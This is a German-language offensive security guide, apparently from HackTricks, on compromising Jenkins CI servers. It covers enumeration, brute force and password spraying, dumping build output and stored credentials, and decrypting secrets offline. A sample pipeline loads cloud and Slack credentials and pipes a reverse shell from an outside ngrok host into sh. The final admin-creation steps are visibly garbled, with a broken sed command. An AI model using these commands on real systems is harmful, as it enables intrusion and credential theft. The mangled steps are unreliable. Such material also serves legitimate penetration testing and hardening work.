# Jenkins-Sicherheit {{#include ../../banners/hacktricks-training.md}} ## Grundlegende Informationen Jenkins ist ein Tool, das eine einfache Methode bietet, um eine **Continuous Integration** oder **Continuous Delivery** (CI/CD) Umgebung für fast **jede** Kombination von **Programmiersprachen** und Quellcode-Repositories mithilfe von Pipelines einzurichten. Darüber hinaus automatisiert es verschiedene routinemäßige Entwicklungsaufgaben. Während Jenkins die **Notwendigkeit, Skripte für einzelne Schritte zu erstellen**, nicht beseitigt, bietet es eine schnellere und robustere Möglichkeit, die gesamte Abfolge von Build-, Test- und Bereitstellungstools zu integrieren, als man sie leicht manuell erstellen kann. {{#ref}} basic-jenkins-information.md {{#endref}} ## Unauthentifizierte Enumeration Um nach interessanten Jenkins-Seiten ohne Authentifizierung zu suchen, wie (_/people_ oder _/asynchPeople_, dies listet die aktuellen Benutzer auf), können Sie Folgendes verwenden: ``` msf> use auxiliary/scanner/http/jenkins_enum ``` Überprüfen Sie, ob Sie Befehle ausführen können, ohne sich authentifizieren zu müssen: ``` msf> use auxiliary/scanner/http/jenkins_command ``` Ohne Anmeldeinformationen können Sie im _**/asynchPeople/**_ Pfad oder _**/securityRealm/user/admin/search/index?q=**_ nach **Benutzernamen** suchen. Sie können möglicherweise die Jenkins-Version über den Pfad _**/oops**_ oder _**/error**_ abrufen. ### Bekannte Schwachstellen {{#ref}} https://github.com/gquere/pwn_jenkins {{#endref}} ## Anmeldung In den grundlegenden Informationen können Sie **alle Möglichkeiten zur Anmeldung in Jenkins** überprüfen: {{#ref}} basic-jenkins-information.md {{#endref}} ### Registrierung Sie werden in der Lage sein, Jenkins-Instanzen zu finden, die **es Ihnen ermöglichen, ein Konto zu erstellen und sich darin anzumelden. So einfach ist das.** ### **SSO-Anmeldung** Wenn **SSO** **Funktionalität**/**Plugins** vorhanden sind, sollten Sie versuchen, sich mit einem Testkonto (d.h. einem Test-**Github/Bitbucket-Konto**) in die Anwendung einzuloggen. Trick von [**hier**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/). ### Bruteforce **Jenkins** hat keine **Passwortrichtlinie** und keine **Minderung von Benutzernamen-Bruteforce**. Es ist wichtig, **Benutzer zu bruteforcen**, da **schwache Passwörter** oder **Benutzernamen als Passwörter** verwendet werden können, sogar **umgekehrte Benutzernamen als Passwörter**. ``` msf> use auxiliary/scanner/http/jenkins_login ``` ### Passwort-Spraying Verwenden Sie [dieses Python-Skript](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) oder [dieses PowerShell-Skript](https://github.com/chryzsh/JenkinsPasswordSpray). ### IP-Whitelisting-Umgehung Viele Organisationen kombinieren **SaaS-basierte Quellcodeverwaltungssysteme (SCM)** wie GitHub oder GitLab mit einer **internen, selbst gehosteten CI**-Lösung wie Jenkins oder TeamCity. Dieses Setup ermöglicht es CI-Systemen, **Webhook-Ereignisse von SaaS-Quellcodeanbietern** zu **empfangen**, hauptsächlich um Pipeline-Jobs auszulösen. Um dies zu erreichen, **whitelisten** Organisationen die **IP-Bereiche** der **SCM-Plattformen**, die ihnen den Zugriff auf das **interne CI-System** über **Webhooks** ermöglichen. Es ist jedoch wichtig zu beachten, dass **jeder** ein **Konto** auf GitHub oder GitLab erstellen und es so konfigurieren kann, dass es **einen Webhook auslöst**, was potenziell Anfragen an das **interne CI-System** senden kann. Überprüfen Sie: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/) ## Interne Jenkins-Missbräuche In diesen Szenarien gehen wir davon aus, dass Sie ein gültiges Konto haben, um auf Jenkins zuzugreifen. > [!WARNING] > Abhängig von dem in Jenkins konfigurierten **Autorisierungs**mechanismus und den Berechtigungen des kompromittierten Benutzers **könnten Sie in der Lage sein oder nicht, die folgenden Angriffe durchzuführen.** Für weitere Informationen überprüfen Sie die grundlegenden Informationen: {{#ref}} basic-jenkins-information.md {{#endref}} ### Auflisten von Benutzern Wenn Sie auf Jenkins zugegriffen haben, können Sie andere registrierte Benutzer unter [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/) auflisten. ### Dumpen von Builds, um Klartextgeheimnisse zu finden Verwenden Sie [dieses Skript](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py), um die Konsolenausgaben von Builds und Umgebungsvariablen zu dumpen, um hoffentlich Klartextgeheimnisse zu finden. ```bash python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps cd build_dumps gitleaks detect --no-git -v ``` ### **Diebstahl von SSH-Anmeldeinformationen** Wenn der kompromittierte Benutzer **ausreichende Berechtigungen hat, um einen neuen Jenkins-Knoten zu erstellen/zu ändern** und SSH-Anmeldeinformationen bereits gespeichert sind, um auf andere Knoten zuzugreifen, könnte er **diese Anmeldeinformationen stehlen**, indem er einen Knoten erstellt/ändert und **einen Host festlegt, der die Anmeldeinformationen aufzeichnet**, ohne den Hostschlüssel zu überprüfen: ![](<../../images/image (218).png>) Sie finden normalerweise Jenkins-SSH-Anmeldeinformationen in einem **globalen Anbieter** (`/credentials/`), sodass Sie sie auch dumpen können, wie Sie es mit anderen Geheimnissen tun würden. Weitere Informationen im [**Abschnitt Geheimnisse dumpen**](./#dumping-secrets). ### **RCE in Jenkins** Einen **Shell-Zugang zum Jenkins-Server** zu erhalten, gibt dem Angreifer die Möglichkeit, alle **Geheimnisse** und **Umgebungsvariablen** zu leaken und **andere Maschinen** im selben Netzwerk zu **exploiten** oder sogar **Cloud-Anmeldeinformationen zu sammeln**. Standardmäßig wird Jenkins **als SYSTEM** ausgeführt. Das Kompromittieren von Jenkins gibt dem Angreifer **SYSTEM-Berechtigungen**. ### **RCE Erstellen/Ändern eines Projekts** Das Erstellen/Ändern eines Projekts ist eine Möglichkeit, RCE über den Jenkins-Server zu erhalten: {{#ref}} jenkins-rce-creating-modifying-project.md {{#endref}} ### **RCE Ausführen eines Groovy-Skripts** Sie können auch RCE erhalten, indem Sie ein Groovy-Skript ausführen, was möglicherweise stealthier ist als das Erstellen eines neuen Projekts: {{#ref}} jenkins-rce-with-groovy-script.md {{#endref}} ### RCE Erstellen/Ändern einer Pipeline Sie können auch **RCE erhalten, indem Sie eine Pipeline erstellen/ändern**: {{#ref}} jenkins-rce-creating-modifying-pipeline.md {{#endref}} ## Pipeline-Ausnutzung Um Pipelines auszunutzen, müssen Sie weiterhin Zugriff auf Jenkins haben. ### Build-Pipelines **Pipelines** können auch als **Build-Mechanismus in Projekten** verwendet werden. In diesem Fall kann eine **Datei im Repository** konfiguriert werden, die die Pipeline-Syntax enthält. Standardmäßig wird `/Jenkinsfile` verwendet: ![](<../../images/image (127).png>) Es ist auch möglich, **Pipeline-Konfigurationsdateien an anderen Orten** zu speichern (zum Beispiel in anderen Repositories), um den **Zugriff** auf das Repository und den Zugriff auf die Pipeline **zu trennen**. Wenn ein Angreifer **Schreibzugriff auf diese Datei hat**, kann er sie **ändern** und die Pipeline **potenziell auslösen**, ohne überhaupt Zugriff auf Jenkins zu haben.\ Es ist möglich, dass der Angreifer **einige Branch-Schutzmaßnahmen umgehen** muss (je nach Plattform und Benutzerberechtigungen könnten diese umgangen werden oder nicht). Die häufigsten Auslöser zum Ausführen einer benutzerdefinierten Pipeline sind: - **Pull-Request** an den Hauptbranch (oder potenziell an andere Branches) - **Push an den Hauptbranch** (oder potenziell an andere Branches) - **Aktualisierung des Hauptbranches** und Warten, bis er irgendwie ausgeführt wird > [!NOTE] > Wenn Sie ein **externer Benutzer** sind, sollten Sie nicht erwarten, einen **PR zum Hauptbranch** des Repos eines **anderen Benutzers/Organisation** zu erstellen und **die Pipeline auszulösen**... aber wenn es **schlecht konfiguriert** ist, könnten Sie Unternehmen vollständig **kompromittieren, nur indem Sie dies ausnutzen**. ### Pipeline RCE Im vorherigen RCE-Abschnitt wurde bereits eine Technik angegeben, um [**RCE durch Ändern einer Pipeline zu erhalten**](./#rce-creating-modifying-pipeline). ### Überprüfen von Umgebungsvariablen Es ist möglich, **Klartext-Umgebungsvariablen** für die gesamte Pipeline oder für spezifische Phasen zu deklarieren. Diese Umgebungsvariablen **sollten keine sensiblen Informationen enthalten**, aber ein Angreifer könnte immer **alle Pipeline**-Konfigurationen/Jenkinsfiles überprüfen: ```bash pipeline { agent {label 'built-in'} environment { GENERIC_ENV_VAR = "Test pipeline ENV variables." } stages { stage("Build") { environment { STAGE_ENV_VAR = "Test stage ENV variables." } steps { ``` ### Dumping secrets Für Informationen darüber, wie Geheimnisse normalerweise von Jenkins behandelt werden, siehe die grundlegenden Informationen: {{#ref}} basic-jenkins-information.md {{#endref}} Anmeldeinformationen können **globalen Anbietern** (`/credentials/`) oder **spezifischen Projekten** (`/job//configure`) zugeordnet werden. Daher müssen Sie, um alle zu exfiltrieren, **mindestens alle Projekte** kompromittieren, die Geheimnisse enthalten, und benutzerdefinierte/vergiftete Pipelines ausführen. Es gibt ein weiteres Problem: Um ein **Geheimnis innerhalb der env** einer Pipeline zu erhalten, müssen Sie **den Namen und den Typ des Geheimnisses** kennen. Wenn Sie beispielsweise versuchen, ein **`usernamePassword`** **Geheimnis** als **`string`** **Geheimnis** zu **laden**, erhalten Sie diesen **Fehler**: ``` ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected ``` Hier ist die Möglichkeit, einige gängige Geheimnisarten zu laden: ```bash withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) { sh ''' env #Search for USERNAME and PASS ''' } withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) { sh ''' env #Search for SECRET ''' } withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) { sh ''' env # Search for USERPASS ''' } # You can also load multiple env variables at once withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'), string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) { sh ''' env ''' } ``` Am Ende dieser Seite können Sie **alle Arten von Anmeldeinformationen finden**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/) > [!WARNING] > Der beste Weg, um **alle Geheimnisse auf einmal zu dumpen**, besteht darin, die **Jenkins**-Maschine zu **kompromittieren** (zum Beispiel einen Reverse-Shell im **eingebauten Knoten** auszuführen) und dann die **Master-Schlüssel** und die **verschlüsselten Geheimnisse** zu **leaken** und sie offline zu entschlüsseln.\ > Mehr dazu im Abschnitt [Nodes & Agents](./#nodes-and-agents) und im Abschnitt [Post Exploitation](./#post-exploitation). ### Trigger Aus [den Docs](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): Die `triggers`-Direktive definiert die **automatisierten Möglichkeiten, wie die Pipeline erneut ausgelöst werden sollte**. Für Pipelines, die mit einer Quelle wie GitHub oder BitBucket integriert sind, sind `triggers` möglicherweise nicht erforderlich, da eine webhook-basierte Integration wahrscheinlich bereits vorhanden ist. Die derzeit verfügbaren Trigger sind `cron`, `pollSCM` und `upstream`. Cron-Beispiel: ```bash triggers { cron('H */4 * * 1-5') } ``` Überprüfen Sie **andere Beispiele in den Dokumenten**. ### Knoten & Agenten Eine **Jenkins-Instanz** kann **verschiedene Agenten auf verschiedenen Maschinen** haben. Aus der Perspektive eines Angreifers bedeutet der Zugriff auf verschiedene Maschinen **verschiedene potenzielle Cloud-Anmeldeinformationen**, die gestohlen werden können, oder **verschiedenen Netzwerkzugriff**, der missbraucht werden könnte, um andere Maschinen auszunutzen. Für weitere Informationen überprüfen Sie die grundlegenden Informationen: {{#ref}} basic-jenkins-information.md {{#endref}} Sie können die **konfigurierten Knoten** in `/computer/` auflisten, Sie werden normalerweise den \*\*`Built-In Node` \*\* (der Knoten, der Jenkins ausführt) und möglicherweise weitere finden: ![](<../../images/image (249).png>) Es ist **besonders interessant, den Built-In Node zu kompromittieren**, da er sensible Jenkins-Informationen enthält. Um anzugeben, dass Sie die **Pipeline** im **Built-In Jenkins Node** ausführen möchten, können Sie innerhalb der Pipeline die folgende Konfiguration angeben: ```bash pipeline { agent {label 'built-in'} ``` ### Vollständiges Beispiel Pipeline in einem spezifischen Agenten, mit einem Cron-Trigger, mit Pipeline- und Stage-Umgebungsvariablen, die 2 Variablen in einem Schritt laden und eine Reverse-Shell senden: ```bash pipeline { agent {label 'built-in'} triggers { cron('H */4 * * 1-5') } environment { GENERIC_ENV_VAR = "Test pipeline ENV variables." } stages { stage("Build") { environment { STAGE_ENV_VAR = "Test stage ENV variables." } steps { withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'), string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) { sh ''' curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS ''' } } } post { always { cleanWs() } } } ``` ## Arbiträre Dateilesen zu RCE {{#ref}} jenkins-arbitrary-file-read-to-rce-via-remember-me.md {{#endref}} ## RCE {{#ref}} jenkins-rce-with-groovy-script.md {{#endref}} {{#ref}} jenkins-rce-creating-modifying-project.md {{#endref}} {{#ref}} jenkins-rce-creating-modifying-pipeline.md {{#endref}} ## Nach der Ausnutzung ### Metasploit ``` msf> post/multi/gather/jenkins_gather ``` ### Jenkins-Geheimnisse Sie können die Geheimnisse auflisten, indem Sie auf `/credentials/` zugreifen, wenn Sie über ausreichende Berechtigungen verfügen. Beachten Sie, dass dies nur die Geheimnisse in der Datei `credentials.xml` auflistet, aber **Build-Konfigurationsdateien** möglicherweise auch **weitere Anmeldeinformationen** enthalten. Wenn Sie **die Konfiguration jedes Projekts sehen können**, können Sie dort auch die **Namen der Anmeldeinformationen (Geheimnisse)** sehen, die verwendet werden, um auf das Repository zuzugreifen, sowie **andere Anmeldeinformationen des Projekts**. ![](<../../images/image (180).png>) #### Aus Groovy {{#ref}} jenkins-dumping-secrets-from-groovy.md {{#endref}} #### Vom Datenträger Diese Dateien sind erforderlich, um **Jenkins-Geheimnisse zu entschlüsseln**: - secrets/master.key - secrets/hudson.util.Secret Solche **Geheimnisse sind normalerweise zu finden in**: - credentials.xml - jobs/.../build.xml - jobs/.../config.xml Hier ist ein Regex, um sie zu finden: ```bash # Find the secrets grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<" # Print only the filenames where the secrets are located grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<" # Secret example credentials.xml: {AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==} ``` #### Jenkins-Geheimnisse offline entschlüsseln Wenn Sie die **benötigten Passwörter zur Entschlüsselung der Geheimnisse** haben, verwenden Sie [**dieses Skript**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **um diese Geheimnisse zu entschlüsseln**. ```bash python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml 06165DF2-C047-4402-8CAB-1C8EC526C115 -----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT ``` #### Jenkins-Geheimnisse aus Groovy entschlüsseln ```bash println(hudson.util.Secret.decrypt("{...}")) ``` ### Erstellen eines neuen Administrators 1. Greifen Sie auf die Jenkins config.xml-Datei in `/var/lib/jenkins/config.xml` oder `C:\Program Files (x86)\Jenkis\` zu. 2. Suchen Sie nach dem Wort `true` und ändern Sie das Wort **`true`** in **`false`**. 1. `sed -i -e 's/truefalsetrue` ändern und **starten Sie Jenkins erneut neu**. ## Referenzen - [https://github.com/gquere/pwn_jenkins](https://github.com/gquere/pwn_jenkins) - [https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/](https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/) - [https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password](https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password) - [https://www.lazysystemadmin.com/2018/12/quick-howto-reset-jenkins-admin-password.html](https://www.lazysystemadmin.com/2018/12/quick-howto-reset-jenkins-admin-password.html) - [https://medium.com/cider-sec/exploiting-jenkins-build-authorization-22bf72926072](https://medium.com/cider-sec/exploiting-jenkins-build-authorization-22bf72926072) - [https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3](https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3) {{#include ../../banners/hacktricks-training.md}}